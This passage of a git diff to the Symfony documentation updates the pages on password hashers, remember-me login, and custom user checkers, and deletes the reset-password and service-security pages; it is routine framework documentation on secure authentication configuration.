to hash strings independently +of users. By using the +:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`, +you can declare multiple hashers, retrieve any of them with +its name and create hashes. You can then verify that a string matches the given +hash:: + + use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory; + + // configure different hashers via the factory + $factory = new PasswordHasherFactory([ + 'common' => ['algorithm' => 'bcrypt'], + 'sodium' => ['algorithm' => 'sodium'], + ]); + + // retrieve the hasher using bcrypt + $hasher = $factory->getPasswordHasher('common'); + $hash = $hasher->hash('plain'); + + // verify that a given string matches the hash calculated above + $hasher->verify($hash, 'invalid'); // false + $hasher->verify($hash, 'plain'); // true + +.. _passwordhasher-supported-algorithms: + +Supported Algorithms +-------------------- + +* :ref:`auto <reference-security-encoder-auto>` +* :ref:`bcrypt <reference-security-encoder-bcrypt>` +* :ref:`sodium <reference-security-sodium>` +* :ref:`PBKDF2 <reference-security-pbkdf2>` + +* :ref:`Or create a custom password hasher <custom-password-hasher>` + +.. TODO missing: +.. * :ref:`Message Digest <reference-security-message-digest>` +.. * :ref:`Native <reference-security-native>` +.. * :ref:`Plaintext <reference-security-plaintext>` + +.. _reference-security-encoder-auto: + +The "auto" Hasher +~~~~~~~~~~~~~~~~~~ + +It automatically selects the best available hasher (currently Bcrypt). If +PHP or Symfony adds new password hashers in the future, it might select a +different hasher. + +Because of this, the length of the hashed passwords may change in the future, so +make sure to allocate enough space for them to be persisted (``varchar(255)`` +should be a good setting). + +.. _reference-security-encoder-bcrypt: + +The Bcrypt Password Hasher +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It produces hashed passwords with the `bcrypt password hashing function`_. +Hashed passwords are ``60`` characters long, so make sure to +allocate enough space for them to be persisted. Also, passwords include the +`cryptographic salt`_ inside them (it's generated automatically for each new +password) so you don't have to deal with it. + +Its only configuration option is ``cost``, which is an integer in the range of +``4-31`` (by default, ``13``). Each single increment of the cost **doubles the +time** it takes to hash a password. It's designed this way so the password +strength can be adapted to the future improvements in computation power. + +You can change the cost at any time — even if you already have some passwords +hashed using a different cost. New passwords will be hashed using the new +cost, while the already hashed ones will be validated using a cost that was +used back when they were hashed. + +.. tip:: + + A simple technique to make tests much faster when using BCrypt is to set + the cost to ``4``, which is the minimum value allowed, in the ``test`` + environment configuration. + +.. _reference-security-sodium: + +The Sodium Password Hasher +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +It uses the `Argon2 key derivation function`_. Argon2 support was introduced +in PHP 7.2 by bundling the `libsodium`_ extension. + +The hashed passwords are ``96`` characters long, but due to the hashing +requirements saved in the resulting hash this may change in the future, so make +sure to allocate enough space for them to be persisted. Also, passwords include +the `cryptographic salt`_ inside them (it's generated automatically for each new +password) so you don't have to deal with it. + +.. _reference-security-pbkdf2: + +The PBKDF2 Hasher +~~~~~~~~~~~~~~~~~ + +Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for +Sodium and BCrypt. Legacy application still using it are encouraged to upgrade +to those newer hashing algorithms. + +.. _custom-password-hasher: + +Creating a custom Password Hasher +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you need to create your own, it needs to follow these rules: + +#. The class must implement :class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface` + (you can also implement :class:`Symfony\\Component\\PasswordHasher\\LegacyPasswordHasherInterface` if your hash algorithm uses a separate salt); + +#. The implementations of + :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::hash` + and :method:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface::verify` + **must validate that the password length is no longer than 4096 + characters.** This is for security reasons (see `CVE-2013-5750`_). + + You can use the :method:`Symfony\\Component\\PasswordHasher\\Hasher\\CheckPasswordLengthTrait::isPasswordTooLong` + method for this check. + +.. code-block:: php + + // src/Security/Hasher/CustomVerySecureHasher.php + namespace App\Security\Hasher; + + use Symfony\Component\PasswordHasher\Exception\InvalidPasswordException; + use Symfony\Component\PasswordHasher\Hasher\CheckPasswordLengthTrait; + use Symfony\Component\PasswordHasher\PasswordHasherInterface; + + class CustomVerySecureHasher implements PasswordHasherInterface + { + use CheckPasswordLengthTrait; + + public function hash(string $plainPassword): string + { + if ($this->isPasswordTooLong($plainPassword)) { + throw new InvalidPasswordException(); + } + + // ... hash the plain password in a secure way + + return $hashedPassword; + } + + public function verify(string $hashedPassword, string $plainPassword): bool + { + if ('' === $plainPassword || $this->isPasswordTooLong($plainPassword)) { + return false; + } + + // ... validate if the password equals the user's password in a secure way + + return $passwordIsValid; + } + + public function needsRehash(string $hashedPassword): bool + { + // Check if a password hash would benefit from rehashing + return $needsRehash; + } + } + +Now, define a password hasher using the ``id`` setting: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + password_hashers: + app_hasher: + # the service ID of your custom hasher (the FQCN using the default services.yaml) + id: 'App\Security\Hasher\MyCustomPasswordHasher' + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:srv="http://symfony.com/schema/dic/services" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd" + > + + <config> + <!-- ... --> + <!-- id: the service ID of your custom hasher (the FQCN using the default services.yaml) --> + <security:password_hasher class="app_hasher" + id="App\Security\Hasher\CustomVerySecureHasher"/> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use App\Security\Hasher\CustomVerySecureHasher; + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->passwordHasher('app_hasher') + // the service ID of your custom hasher (the FQCN using the default services.yaml) + ->id(CustomVerySecureHasher::class) + ; + }; + +.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html +.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2 +.. _`libsodium`: https://pecl.php.net/package/libsodium +.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2 +.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt +.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography) +.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories +.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle +.. _`CVE-2013-5750`: https://symfony.com/blog/cve-2013-5750-security-issue-in-fosuserbundle-login-form diff --git a/security/remember_me.rst b/security/remember_me.rst index de9f51afddf..2fd0f7e8d1e 100644 --- a/security/remember_me.rst +++ b/security/remember_me.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; "Remember me" - How to Add "Remember Me" Login Functionality ============================================ @@ -22,9 +19,8 @@ the session lasts using a cookie with the ``remember_me`` firewall option: main: # ... remember_me: - secret: '%kernel.secret%' + secret: '%kernel.secret%' lifetime: 604800 # 1 week in seconds - path: / # by default, the feature is enabled by checking a # checkbox in the login form (see below), uncomment the # following line to always enable it. @@ -48,11 +44,12 @@ the session lasts using a cookie with the ``remember_me`` firewall option: <firewall name="main"> <!-- ... --> - <!-- 604800 is 1 week in seconds --> + <!-- secret: default to "%kernel.secret%" + lifetime: 604800 is 1 week in seconds --> <remember-me secret="%kernel.secret%" lifetime="604800" - path="/"/> + /> <!-- by default, the feature is enabled by checking a checkbox in the login form (see below), add always-remember-me="true" to always enable it. --> @@ -63,95 +60,61 @@ the session lasts using a cookie with the ``remember_me`` firewall option: .. code-block:: php // config/packages/security.php - $container->loadFromExtension('security', [ + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { // ... + $security->firewall('main') + // ... + ->rememberMe() + ->secret('%kernel.secret%') + ->lifetime(604800) // 1 week in seconds - 'firewalls' => [ - 'main' => [ - // ... - 'remember_me' => [ - 'secret' => '%kernel.secret%', - 'lifetime' => 604800, // 1 week in seconds - 'path' => '/', - // by default, the feature is enabled by checking a - // checkbox in the login form (see below), uncomment - // the following line to always enable it. - //'always_remember_me' => true, - ], - ], - ], - ]); - -The ``remember_me`` firewall defines the following configuration options: - -``secret`` (**required**) - The value used to encrypt the cookie's content. It's common to use the - ``secret`` value defined in the ``APP_SECRET`` environment variable. + // by default, the feature is enabled by checking a + // checkbox in the login form (see below), uncomment + // the following line to always enable it. + // ->alwaysRememberMe(true) + ; + }; -``name`` (default value: ``REMEMBERME``) - The name of the cookie used to keep the user logged in. If you enable the - ``remember_me`` feature in several firewalls of the same application, make sure - to choose a different name for the cookie of each firewall. Otherwise, you'll - face lots of security related problems. +.. versionadded:: 7.2 -``lifetime`` (default value: ``31536000``) - The number of seconds during which the user will remain logged in. By default - users are logged in for one year. + The ``secret`` option is no longer required starting from Symfony 7.2. By + default, ``%kernel.secret%`` is used, which is defined using the + ``APP_SECRET`` environment variable. -``path`` (default value: ``/``) - The path where the cookie associated with this feature is used. By default - the cookie will be applied to the entire website but you can restrict to a - specific section (e.g. ``/forum``, ``/admin``). +After enabling the ``remember_me`` system in the configuration, there are a +couple more things to do before remember me works correctly: -``domain`` (default value: ``null``) - The domain where the cookie associated with this feature is used. By default - cookies use the current domain obtained from ``$_SERVER``. +#. :ref:`Add an opt-in checkbox to activate remember me <security-remember-me-activate>`; +#. :ref:`Use an authenticator that supports remember me <security-remember-me-authenticator>`; +#. Optionally, :ref:`configure how remember me cookies are stored and validated <security-remember-me-storage>`. -``secure`` (default value: ``false``) - If ``true``, the cookie associated with this feature is sent to the user - through an HTTPS secure connection. +After this, the remember me cookie will be created upon successful +authentication. For some pages/actions, you can +:ref:`force a user to fully authenticate <security-remember-me-authorization>` +(i.e. not through a remember me cookie) for better security. -``httponly`` (default value: ``true``) - If ``true``, the cookie associated with this feature is accessible only - through the HTTP protocol. This means that the cookie won't be accessible - by scripting languages, such as JavaScript. - -``samesite`` (default value: ``null``) - If set to ``strict``, the cookie associated with this feature will not - be sent along with cross-site requests, even when following a regular link. - -``remember_me_parameter`` (default value: ``_remember_me``) - The name of the form field checked to decide if the "Remember Me" feature - should be enabled or not. Keep reading this article to know how to enable - this feature conditionally. - -``always_remember_me`` (default value: ``false``) - If ``true``, the value of the ``remember_me_parameter`` is ignored and the - "Remember Me" feature is always enabled, regardless of the desire of the - end user. +.. note:: -``token_provider`` (default value: ``null``) - Defines the service id of a token provider to use. If you want to store tokens - in the database, see :ref:`remember-me-token-in-database`. + The ``remember_me`` setting contains many settings to configure the + cookie created by this feature. See `Customizing the Remember Me Cookie`_ + for a full description of these settings. -``service`` (default value: ``null``) - Defines the ID of the service used to handle the Remember Me feature. It's - useful if you need to overwrite the current behavior entirely. +.. _security-remember-me-activate: - .. versionadded:: 5.1 +Activating the Remember Me System +--------------------------------- - The ``service`` option was introduced in Symfony 5.1. +Using the remember me cookie is not always appropriate (e.g. you should not +use it on a shared PC). This is why by default, Symfony requires your users +to opt-in to the remember me system via a request parameter. -Forcing the User to Opt-Out of the Remember Me Feature ------------------------------------------------------- +Remember Me for Form Login +~~~~~~~~~~~~~~~~~~~~~~~~~~ -It's a good idea to provide the user with the option to use or not use the -remember me functionality, as it will not always be appropriate. The usual -way of doing this is to add a checkbox to the login form. By giving the checkbox -the name ``_remember_me`` (or the name you configured using ``remember_me_parameter``), -the cookie will automatically be set when the checkbox is checked and the user -successfully logs in. So, your specific login form might ultimately look like -this: +This request parameter is often set via a checkbox in the login form. This +checkbox must have a name of ``_remember_me``: .. code-block:: html+twig @@ -159,146 +122,374 @@ this: <form method="post"> {# ... your form fields #} - <input type="checkbox" id="remember_me" name="_remember_me" checked/> - <label for="remember_me">Keep me logged in</label> + <label> + <input type="checkbox" name="_remember_me" checked> + Keep me logged in + </label> {# ... #} </form> -The user will then automatically be logged in on subsequent visits while -the cookie remains valid. +.. note:: -Forcing the User to Re-Authenticate before Accessing certain Resources ----------------------------------------------------------------------- + Optionally, you can configure a custom name for this checkbox using the + ``name`` setting under the ``remember_me`` section. -When the user returns to your site, they are authenticated automatically based -on the information stored in the remember me cookie. This allows the user -to access protected resources as if the user had actually authenticated upon -visiting the site. +Remember Me for JSON Login +~~~~~~~~~~~~~~~~~~~~~~~~~~ -In some cases, however, you may want to force the user to actually re-authenticate -before accessing certain resources. For example, you might not allow "remember me" -users to change their password. You can do this by leveraging a few special -"attributes":: +If you implement the login via an API that uses :ref:`JSON Login <json-login>` +you can add a ``_remember_me`` key to the body of your POST request. - // src/Controller/AccountController.php - // ... +.. code-block:: json - public function accountInfo() { - // allow any authenticated user - we don't care if they just - // logged in, or are logged in via a remember me cookie - $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED'); - - // ... + "username": "dunglas@example.com", + "password": "MyPassword", + "_remember_me": true } - public function resetPassword() +.. note:: + + Optionally, you can configure a custom name for this key using the + ``name`` setting under the ``remember_me`` section of your firewall. + +Always activating Remember Me +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Sometimes, you may wish to always activate the remember me system and not +allow users to opt-out. In these cases, you can use the +``always_remember_me`` setting: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/security.yaml + security: + # ... + + firewalls: + main: + # ... + remember_me: + # ... + always_remember_me: true + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + + <remember-me + always-remember-me="true" + /> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->rememberMe() + // ... + ->alwaysRememberMe(true) + ; + }; + +Now, no request parameter is checked and each successful authentication +will produce a remember me cookie. + +.. _security-remember-me-authenticator: + +Add Remember Me Support to the Authenticator +-------------------------------------------- + +Not all authentication methods support remember me (e.g. HTTP Basic +authentication doesn't have support). An authenticator indicates support +using a ``RememberMeBadge`` on the :ref:`security passport <security-passport>`. + +After logging in, you can use the security profiler to see if this badge is +present: + +.. image:: /_images/security/profiler-badges.png + :alt: The Security page of the Symfony profiler, with the "Authenticators" tab showing the remember me badge in the passport object. + +Without this badge, remember me will not be activated (regardless of all +other settings). + +Add Remember Me Support to Custom Authenticators +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When you use a custom authenticator, you must add a ``RememberMeBadge`` +manually:: + + // src/Service/LoginAuthenticator.php + namespace App\Service; + + // ... + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\RememberMeBadge; + use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge; + use Symfony\Component\Security\Http\Authenticator\Passport\Passport; + + class LoginAuthenticator extends AbstractAuthenticator { - // require the user to log in during *this* session - // if they were only logged in via a remember me cookie, they - // will be redirected to the login page - $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY'); + public function authenticate(Request $request): Passport + { + // ... - // ... + return new Passport( + new UserBadge(...), + new PasswordCredentials(...), + [ + new RememberMeBadge(), + ] + ); + } } -.. tip:: +.. _security-remember-me-storage: - There is also a ``IS_REMEMBERED`` attribute that grants *only* when the - user is authenticated via the remember me mechanism. +Customize how Remember Me Tokens are Stored +------------------------------------------- -.. versionadded:: 5.1 +Remember me cookies contain a token that is used to verify the user's +identity. As these tokens are long-lived, it is important to take +precautions to allow invalidating any generated tokens. - The ``IS_REMEMBERED`` attribute was introduced in Symfony 5.1. +Symfony provides two ways to validate remember me tokens: -.. _remember-me-token-in-database: +Signature based tokens + By default, the remember me cookie contains a signature based on + properties of the user. If the properties change, the signature changes + and already generated tokens are no longer considered valid. See + :ref:`how to use them <security-remember-me-signature>` for more + information. -Storing Remember Me Tokens in the Database ------------------------------------------- +Persistent tokens + Persistent tokens store any generated token (e.g. in a database). This + allows you to invalidate tokens by changing the rows in the database. + See :ref:`how to store tokens <security-remember-me-persistent>` for more + information. + +.. note:: + + You can also write your own custom remember me handler by creating a + class that extends + :class:`Symfony\\Component\\Security\\Http\\RememberMe\\AbstractRememberMeHandler` + (or implements :class:`Symfony\\Component\\Security\\Http\\RememberMe\\RememberMeHandlerInterface`). + You can then configure this custom handler by configuring the service + ID in the ``service`` option under ``remember_me``. -The token contents, including the hashed version of the user password, are -stored by default in cookies. If you prefer to store them in a database, use the -:class:`Symfony\\Bridge\\Doctrine\\Security\\RememberMe\\DoctrineTokenProvider` -class provided by the Doctrine Bridge. +.. _security-remember-me-signature: -First, you need to register ``DoctrineTokenProvider`` as a service: +Using Signed Remember Me Tokens +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, remember me cookies contain a *hash* that is used to validate +the cookie. This hash is computed based on configured +signature properties. + +These properties are always included in the hash: + +* The user identifier (returned by + :method:`Symfony\\Component\\Security\\Core\\User\\UserInterface::getUserIdentifier`); +* The expiration timestamp. + +On top of these, you can configure custom properties using the +``signature_properties`` setting (defaults to ``password``). The properties +are fetched from the user object using the +:doc:`PropertyAccess component </components/property_access>` (e.g. using +``getUpdatedAt()`` or a public ``$updatedAt`` property when using +``updatedAt``). .. configuration-block:: .. code-block:: yaml - # config/services.yaml - services: + # config/packages/security.yaml + security: # ... - Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider: ~ + firewalls: + main: + # ... + remember_me: + # ... + signature_properties: ['password', 'updatedAt'] .. code-block:: xml - <!-- config/services.xml --> + <!-- config/packages/security.xml --> <?xml version="1.0" encoding="UTF-8" ?> - <container xmlns="http://symfony.com/schema/dic/services" + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd"> + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> - <services> - <service id="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider"/> - </services> - </container> + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + + <remember-me> + <signature-property>password</signature-property> + <signature-property>updatedAt</signature-property> + </remember-me> + </firewall> + </config> + </srv:container> .. code-block:: php - // config/services.php - use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider; + // config/packages/security.php + use Symfony\Config\SecurityConfig; - $container->register(DoctrineTokenProvider::class); + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->rememberMe() + // ... + ->signatureProperties(['password', 'updatedAt']) + ; + }; -Then you need to create a table with the following structure in your database -so ``DoctrineTokenProvider`` can store the tokens: +In this example, the remember me cookie will no longer be considered valid +if the ``updatedAt``, password or user identifier for this user changes. -.. code-block:: sql +.. tip:: - CREATE TABLE `rememberme_token` ( - `series` char(88) UNIQUE PRIMARY KEY NOT NULL, - `value` varchar(88) NOT NULL, - `lastUsed` datetime NOT NULL, - `class` varchar(100) NOT NULL, - `username` varchar(200) NOT NULL - ); + Signature properties allow for some advanced usages without having to + set-up storage for all remember me tokens. For instance, you can add a + ``forceReloginAt`` field to your user and to the signature properties. + This way, you can invalidate all remember me tokens from a user by + changing this timestamp. -.. note:: +.. _security-remember-me-persistent: - If you use DoctrineMigrationsBundle to manage your database migrations, you - will need to tell Doctrine to ignore this new ``rememberme_token`` table: +Storing Remember Me Tokens in the Database +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - .. configuration-block:: +As remember me tokens are often long-lived, you might prefer to save them in +a database to have full control over them. Symfony comes with support for +persistent remember me tokens. - .. code-block:: yaml +This implementation uses a *remember me token provider* for storing and +retrieving the tokens from the database. The DoctrineBridge provides a +token provider using Doctrine. - # config/packages/doctrine.yaml - doctrine: - dbal: - schema_filter: ~^(?!rememberme_token)~ +You can enable the doctrine token provider using the ``doctrine`` setting: - .. code-block:: xml +.. configuration-block:: - # config/packages/doctrine.xml - <doctrine:dbal schema-filter="~^(?!rememberme_token)~"/> + .. code-block:: yaml - .. code-block:: php + # config/packages/security.yaml + security: + # ... - # config/packages/doctrine.php - $container->loadFromExtension('doctrine', [ - 'dbal' => [ - 'schema_filter' => '~^(?!rememberme_token)~', - // ... - ], + firewalls: + main: + # ... + remember_me: + # ... + token_provider: + doctrine: true + + .. code-block:: xml + + <!-- config/packages/security.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <srv:container xmlns="http://symfony.com/schema/dic/security" + xmlns:srv="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/security + https://symfony.com/schema/dic/security/security-1.0.xsd"> + + <config> + <!-- ... --> + + <firewall name="main"> + <!-- ... --> + + <remember-me> + <token-provider doctrine="true"/> + </remember-me> + </firewall> + </config> + </srv:container> + + .. code-block:: php + + // config/packages/security.php + use Symfony\Config\SecurityConfig; + + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') // ... - ]); + ->rememberMe() + // ... + ->tokenProvider([ + 'doctrine' => true, + ]) + ; + }; + +This also instructs Doctrine to create a table for the remember me tokens. +If you use the DoctrineMigrationsBundle, you can create a new migration for +this: + +.. code-block:: terminal + + $ php bin/console doctrine:migrations:diff + + # and optionally run the migrations locally + $ php bin/console doctrine:migrations:migrate + +Otherwise, you can use the ``doctrine:schema:update`` command: -Finally, set the ``token_provider`` option of the ``remember_me`` config to the -service you created before: +.. code-block:: terminal + + # get the required SQL code + $ php bin/console doctrine:schema:update --dump-sql + + # run the SQL in your DB client, or let the command run it for you + $ php bin/console doctrine:schema:update --force + +Implementing a Custom Token Provider +.................................... + +You can also create a custom token provider by creating a class that +implements :class:`Symfony\\Component\\Security\\Core\\Authentication\\RememberMe\\TokenProviderInterface`. + +Then, configure the service ID of your custom token provider as ``service``: .. configuration-block:: @@ -313,7 +504,8 @@ service you created before: # ... remember_me: # ... - token_provider: 'Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider' + token_provider: + service: App\Security\RememberMe\CustomTokenProvider .. code-block:: xml @@ -333,9 +525,9 @@ service you created before: <firewall name="main"> <!-- ... --> - <remember-me - token-provider="Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider" - /> + <remember-me> + <token-provider service="App\Security\RememberMe\CustomTokenProvider"/> + </remember-me> </firewall> </config> </srv:container> @@ -343,17 +535,98 @@ service you created before: .. code-block:: php // config/packages/security.php - use Symfony\Bridge\Doctrine\Security\RememberMe\DoctrineTokenProvider; - $container->loadFromExtension('security', [ - // ... + use App\Security\RememberMe\CustomTokenProvider; + use Symfony\Config\SecurityConfig; - 'firewalls' => [ - 'main' => [ + return static function (SecurityConfig $security): void { + // ... + $security->firewall('main') + // ... + ->rememberMe() // ... - 'remember_me' => [ - // ... - 'token_provider' => DoctrineTokenProvider::class, - ], - ], - ], - ]); + ->tokenProvider([ + 'service' => CustomTokenProvider::class, + ]) + ; + }; + +.. _security-remember-me-authorization: + +Forcing the User to Re-Authenticate before Accessing certain Resources +---------------------------------------------------------------------- + +When the user returns to your site, they are authenticated automatically based +on the information stored in the remember me cookie. This allows the user +to access protected resources as if the user had actually authenticated upon +visiting the site. + +In some cases, however, you may want to force the user to actually re-authenticate +before accessing certain resources. For example, you might not allow "remember me" +users to change their password. You can do this by leveraging a few special +"attributes":: + + // src/Controller/AccountController.php + // ... + + public function accountInfo(): Response + { + // allow any authenticated user - we don't care if they just + // logged in, or are logged in via a remember me cookie + $this->denyAccessUnlessGranted('IS_AUTHENTICATED_REMEMBERED'); + + // ... + } + + public function resetPassword(): Response + { + // require the user to log in during *this* session + // if they were only logged in via a remember me cookie, they + // will be redirected to the login page + $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY'); + + // ... + } + +.. tip:: + + There is also a ``IS_REMEMBERED`` attribute that grants access *only* + when the user is authenticated via the remember me mechanism. + +Customizing the Remember Me Cookie +---------------------------------- + +The ``remember_me`` configuration contains many options to customize the +cookie created by the system: + +``name`` (default value: ``REMEMBERME``) + The name of the cookie used to keep the user logged in. If you enable the + ``remember_me`` feature in several firewalls of the same application, make sure + to choose a different name for the cookie of each firewall. Otherwise, you'll + face lots of security related problems. + +``lifetime`` (default value: ``31536000`` i.e. 1 year in seconds) + The number of seconds after which the cookie will be expired. This + defines the maximum time between two visits for the user to remain + authenticated. + +``path`` (default value: ``/``) + The path where the cookie associated with this feature is used. By default + the cookie will be applied to the entire website but you can restrict to a + specific section (e.g. ``/forum``, ``/admin``). + +``domain`` (default value: ``null``) + The domain where the cookie associated with this feature is used. By default + cookies use the current domain obtained from ``$_SERVER``. + +``secure`` (default value: ``false``) + If ``true``, the cookie associated with this feature is sent to the user + through an HTTPS secure connection. + +``httponly`` (default value: ``true``) + If ``true``, the cookie associated with this feature is accessible only + through the HTTP protocol. This means that the cookie won't be accessible + by scripting languages, such as JavaScript. + +``samesite`` (default value: ``null``) + If set to ``strict``, the cookie associated with this feature will not + be sent along with cross-site requests, even when following a regular link. diff --git a/security/reset_password.rst b/security/reset_password.rst deleted file mode 100644 index bbde221f015..00000000000 --- a/security/reset_password.rst +++ /dev/null @@ -1,28 +0,0 @@ -How to Add a Reset Password Feature -=================================== - -Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a -secure out of the box solution to handle forgotten passwords. - -First, make sure you have a security ``User`` class. Follow -the :doc:`Security Guide </security>` if you don't have one already. - -Generating the Reset Password Code ----------------------------------- - -.. code-block:: terminal - - $ composer require symfonycasts/reset-password-bundle - ..... - $ php bin/console make:reset-password - -The `make:reset-password` command will ask you a few questions about your app and -generate all the files you need! After, you'll see a success message and a list -of any other steps you need to do. - -You can customize the reset password bundle's behavior by updating the ``reset_password.yaml`` -file. For more information on the configuration, check out the -`SymfonyCastsResetPasswordBundle`_ guide. - -.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html -.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle diff --git a/security/securing_services.rst b/security/securing_services.rst deleted file mode 100644 index 67b37dd792e..00000000000 --- a/security/securing_services.rst +++ /dev/null @@ -1,53 +0,0 @@ -.. index:: - single: Security; Securing any service - single: Security; Securing any method - -How to Secure any Service or Method in your Application -======================================================= - -In the security article, you learned how to -:ref:`secure a controller <security-securing-controller>` via a shortcut method. - -But, you can check access *anywhere* in your code by injecting the ``Security`` -service. For example, suppose you have a ``SalesReportManager`` service and you -want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role: - -.. code-block:: diff - - // src/Newsletter/NewsletterManager.php - - // ... - use Symfony\Component\Security\Core\Exception\AccessDeniedException; - + use Symfony\Component\Security\Core\Security; - - class SalesReportManager - { - + private $security; - - + public function __construct(Security $security) - + { - + $this->security = $security; - + } - - public function sendNewsletter() - { - $salesData = []; - - + if ($this->security->isGranted('ROLE_SALES_ADMIN')) { - + $salesData['top_secret_numbers'] = rand(); - + } - - // ... - } - - // ... - } - -If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, -Symfony will automatically pass the ``security.helper`` to your service -thanks to autowiring and the ``Security`` type-hint. - -You can also use a lower-level -:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface` -service. It does the same thing as ``Security``, but allows you to type-hint a -more-specific interface. diff --git a/security/user_checkers.rst b/security/user_checkers.rst index 9ded2a00449..ec8f49da522 100644 --- a/security/user_checkers.rst +++ b/security/user_checkers.rst @@ -1,6 +1,3 @@ -.. index:: - single: Security; Creating and Enabling Custom User Checkers - How to Create and Enable Custom User Checkers ============================================= @@ -23,7 +20,9 @@ displayed to the user:: namespace App\Security; - use App\Security\User as AppUser; + use App\Entity\User as AppUser; + use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Exception\AccessDeniedException; use Symfony\Component\Security\Core\Exception\AccountExpiredException; use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException; use Symfony\Component\Security\Core\User\UserCheckerInterface; @@ -31,7 +30,7 @@ displayed to the user:: class UserChecker implements UserCheckerInterface { - public function checkPreAuth(UserInterface $user) + public function checkPreAuth(UserInterface $user): void { if (!$user instanceof AppUser) { return; @@ -43,7 +42,7 @@ displayed to the user:: } } - public function checkPostAuth(UserInterface $user) + public function checkPostAuth(UserInterface $user, TokenInterface $token): void { if (!$user instanceof AppUser) { return; @@ -53,12 +52,16 @@ displayed to the user:: if ($user->isExpired()) { throw new AccountExpiredException('...'); } + + if (!\in_array('foo', $token->getRoleNames())) { + throw new AccessDeniedException('...'); + } } } -.. versionadded:: 5.1 +.. versionadded:: 7.2 - The ``CustomUserMessageAccountStatusException`` class was introduced in Symfony 5.1. + The ``token`` argument for the ``checkPostAuth()`` method was introduced in Symfony 7.2. Enabling the Custom User Checker -------------------------------- @@ -87,7 +90,7 @@ is the service id of your user checker: .. code-block:: xml <!-- config/packages/security.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <srv:container xmlns="http://symfony.com/schema/dic/security" 